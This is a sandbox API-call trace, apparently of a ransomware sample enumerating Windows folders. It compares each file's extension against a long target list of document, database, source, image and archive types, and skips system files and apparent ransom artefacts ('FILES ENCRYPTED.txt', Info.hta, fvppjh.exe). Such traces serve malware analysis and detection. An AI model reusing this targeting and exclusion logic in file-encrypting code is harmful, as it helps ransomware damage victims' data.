	[0164.912] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.912] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.912] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.912] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.912] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0164.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.913] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1
	[0164.913] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.913] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN") returned 100
	[0164.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140d98
	[0164.916] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.916] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.917] lstrlenW (lpString="index.html") returned 10
	[0164.917] lstrlenW (lpString=".1cd") returned 4
	[0164.917] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".3ds") returned 4
	[0164.917] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".3fr") returned 4
	[0164.917] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".3g2") returned 4
	[0164.917] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".3gp") returned 4
	[0164.917] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".7z") returned 3
	[0164.917] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.917] lstrlenW (lpString=".accda") returned 6
	[0164.917] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.917] lstrlenW (lpString=".accdb") returned 6
	[0164.917] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.917] lstrlenW (lpString=".accdc") returned 6
	[0164.917] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.917] lstrlenW (lpString=".accde") returned 6
	[0164.917] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.917] lstrlenW (lpString=".accdt") returned 6
	[0164.917] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.917] lstrlenW (lpString=".accdw") returned 6
	[0164.917] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.917] lstrlenW (lpString=".adb") returned 4
	[0164.917] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".adp") returned 4
	[0164.917] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".ai") returned 3
	[0164.917] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.917] lstrlenW (lpString=".ai3") returned 4
	[0164.917] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.917] lstrlenW (lpString=".ai4") returned 4
	[0164.918] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".ai5") returned 4
	[0164.918] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".ai6") returned 4
	[0164.918] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".ai7") returned 4
	[0164.918] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".ai8") returned 4
	[0164.918] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".anim") returned 5
	[0164.918] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.918] lstrlenW (lpString=".arw") returned 4
	[0164.918] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".as") returned 3
	[0164.918] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.918] lstrlenW (lpString=".asa") returned 4
	[0164.918] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".asc") returned 4
	[0164.918] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".ascx") returned 5
	[0164.918] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.918] lstrlenW (lpString=".asm") returned 4
	[0164.918] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".asmx") returned 5
	[0164.918] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.918] lstrlenW (lpString=".asp") returned 4
	[0164.918] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".aspx") returned 5
	[0164.918] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.918] lstrlenW (lpString=".asr") returned 4
	[0164.918] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".asx") returned 4
	[0164.918] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".avi") returned 4
	[0164.918] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.918] lstrlenW (lpString=".avs") returned 4
	[0164.919] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".backup") returned 7
	[0164.919] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.919] lstrlenW (lpString=".bak") returned 4
	[0164.919] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".bay") returned 4
	[0164.919] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".bd") returned 3
	[0164.919] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.919] lstrlenW (lpString=".bin") returned 4
	[0164.919] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".bmp") returned 4
	[0164.919] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".bz2") returned 4
	[0164.919] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".c") returned 2
	[0164.919] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.919] lstrlenW (lpString=".cdr") returned 4
	[0164.919] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".cer") returned 4
	[0164.919] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".cf") returned 3
	[0164.919] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.919] lstrlenW (lpString=".cfc") returned 4
	[0164.919] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".cfm") returned 4
	[0164.919] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".cfml") returned 5
	[0164.919] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.919] lstrlenW (lpString=".cfu") returned 4
	[0164.919] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".chm") returned 4
	[0164.919] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.919] lstrlenW (lpString=".cin") returned 4
	[0164.919] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".class") returned 6
	[0164.920] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.920] lstrlenW (lpString=".clx") returned 4
	[0164.920] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".config") returned 7
	[0164.920] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.920] lstrlenW (lpString=".cpp") returned 4
	[0164.920] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".cr2") returned 4
	[0164.920] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".crt") returned 4
	[0164.920] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".crw") returned 4
	[0164.920] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".cs") returned 3
	[0164.920] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.920] lstrlenW (lpString=".css") returned 4
	[0164.920] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".csv") returned 4
	[0164.920] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".cub") returned 4
	[0164.920] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".dae") returned 4
	[0164.920] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".dat") returned 4
	[0164.920] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".db") returned 3
	[0164.920] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.920] lstrlenW (lpString=".dbf") returned 4
	[0164.920] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".dbx") returned 4
	[0164.920] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".dc3") returned 4
	[0164.920] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.920] lstrlenW (lpString=".dcm") returned 4
	[0164.921] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dcr") returned 4
	[0164.921] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".der") returned 4
	[0164.921] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dib") returned 4
	[0164.921] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dic") returned 4
	[0164.921] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dif") returned 4
	[0164.921] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".divx") returned 5
	[0164.921] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.921] lstrlenW (lpString=".djvu") returned 5
	[0164.921] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.921] lstrlenW (lpString=".dng") returned 4
	[0164.921] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".doc") returned 4
	[0164.921] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".docm") returned 5
	[0164.921] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.921] lstrlenW (lpString=".docx") returned 5
	[0164.921] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.921] lstrlenW (lpString=".dot") returned 4
	[0164.921] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dotm") returned 5
	[0164.921] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.921] lstrlenW (lpString=".dotx") returned 5
	[0164.921] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.921] lstrlenW (lpString=".dpx") returned 4
	[0164.921] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dqy") returned 4
	[0164.921] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dsn") returned 4
	[0164.921] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.921] lstrlenW (lpString=".dt") returned 3
	[0164.922] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.922] lstrlenW (lpString=".dtd") returned 4
	[0164.922] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".dwg") returned 4
	[0164.922] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".dwt") returned 4
	[0164.922] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".dx") returned 3
	[0164.922] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.922] lstrlenW (lpString=".dxf") returned 4
	[0164.922] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".edml") returned 5
	[0164.922] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.922] lstrlenW (lpString=".efd") returned 4
	[0164.922] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".elf") returned 4
	[0164.922] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".emf") returned 4
	[0164.922] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".emz") returned 4
	[0164.922] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".epf") returned 4
	[0164.922] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".eps") returned 4
	[0164.922] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".epsf") returned 5
	[0164.922] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.922] lstrlenW (lpString=".epsp") returned 5
	[0164.922] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.922] lstrlenW (lpString=".erf") returned 4
	[0164.922] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".exr") returned 4
	[0164.922] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.922] lstrlenW (lpString=".f4v") returned 4
	[0164.922] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".fido") returned 5
	[0164.923] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.923] lstrlenW (lpString=".flm") returned 4
	[0164.923] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".flv") returned 4
	[0164.923] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".frm") returned 4
	[0164.923] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".fxg") returned 4
	[0164.923] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".geo") returned 4
	[0164.923] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".gif") returned 4
	[0164.923] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".grs") returned 4
	[0164.923] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".gz") returned 3
	[0164.923] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.923] lstrlenW (lpString=".h") returned 2
	[0164.923] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.923] lstrlenW (lpString=".hdr") returned 4
	[0164.923] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".hpp") returned 4
	[0164.923] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".hta") returned 4
	[0164.923] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".htc") returned 4
	[0164.923] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".htm") returned 4
	[0164.923] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString=".html") returned 5
	[0164.923] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.923] lstrlenW (lpString="index.html") returned 10
	[0164.923] lstrlenW (lpString=".GTF") returned 4
	[0164.923] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.923] lstrlenW (lpString="index.html") returned 10
	[0164.924] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.924] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.924] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.924] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.924] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.924] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.924] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.924] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.924] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html") returned 111
	[0164.924] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.924] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.924] lstrlenW (lpString=".1cd") returned 4
	[0164.924] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.924] lstrlenW (lpString=".3ds") returned 4
	[0164.924] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.924] lstrlenW (lpString=".3fr") returned 4
	[0164.924] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.924] lstrlenW (lpString=".3g2") returned 4
	[0164.924] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.924] lstrlenW (lpString=".3gp") returned 4
	[0164.924] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.924] lstrlenW (lpString=".7z") returned 3
	[0164.924] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.924] lstrlenW (lpString=".accda") returned 6
	[0164.924] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.924] lstrlenW (lpString=".accdb") returned 6
	[0164.924] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.924] lstrlenW (lpString=".accdc") returned 6
	[0164.924] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.924] lstrlenW (lpString=".accde") returned 6
	[0164.924] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.925] lstrlenW (lpString=".accdt") returned 6
	[0164.925] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.925] lstrlenW (lpString=".accdw") returned 6
	[0164.925] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.925] lstrlenW (lpString=".adb") returned 4
	[0164.925] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".adp") returned 4
	[0164.925] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".ai") returned 3
	[0164.925] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.925] lstrlenW (lpString=".ai3") returned 4
	[0164.925] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".ai4") returned 4
	[0164.925] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".ai5") returned 4
	[0164.925] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".ai6") returned 4
	[0164.925] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".ai7") returned 4
	[0164.925] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".ai8") returned 4
	[0164.925] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".anim") returned 5
	[0164.925] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.925] lstrlenW (lpString=".arw") returned 4
	[0164.925] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.925] lstrlenW (lpString=".as") returned 3
	[0164.925] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.926] lstrlenW (lpString=".asa") returned 4
	[0164.926] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".asc") returned 4
	[0164.926] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".ascx") returned 5
	[0164.926] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.926] lstrlenW (lpString=".asm") returned 4
	[0164.926] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".asmx") returned 5
	[0164.926] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.926] lstrlenW (lpString=".asp") returned 4
	[0164.926] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".aspx") returned 5
	[0164.926] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.926] lstrlenW (lpString=".asr") returned 4
	[0164.926] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".asx") returned 4
	[0164.926] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".avi") returned 4
	[0164.926] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".avs") returned 4
	[0164.926] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".backup") returned 7
	[0164.926] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.926] lstrlenW (lpString=".bak") returned 4
	[0164.926] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".bay") returned 4
	[0164.926] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".bd") returned 3
	[0164.926] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.926] lstrlenW (lpString=".bin") returned 4
	[0164.926] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".bmp") returned 4
	[0164.926] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".bz2") returned 4
	[0164.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.926] lstrlenW (lpString=".c") returned 2
	[0164.927] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.927] lstrlenW (lpString=".cdr") returned 4
	[0164.927] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cer") returned 4
	[0164.927] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cf") returned 3
	[0164.927] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.927] lstrlenW (lpString=".cfc") returned 4
	[0164.927] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cfm") returned 4
	[0164.927] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cfml") returned 5
	[0164.927] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.927] lstrlenW (lpString=".cfu") returned 4
	[0164.927] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".chm") returned 4
	[0164.927] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cin") returned 4
	[0164.927] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".class") returned 6
	[0164.927] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
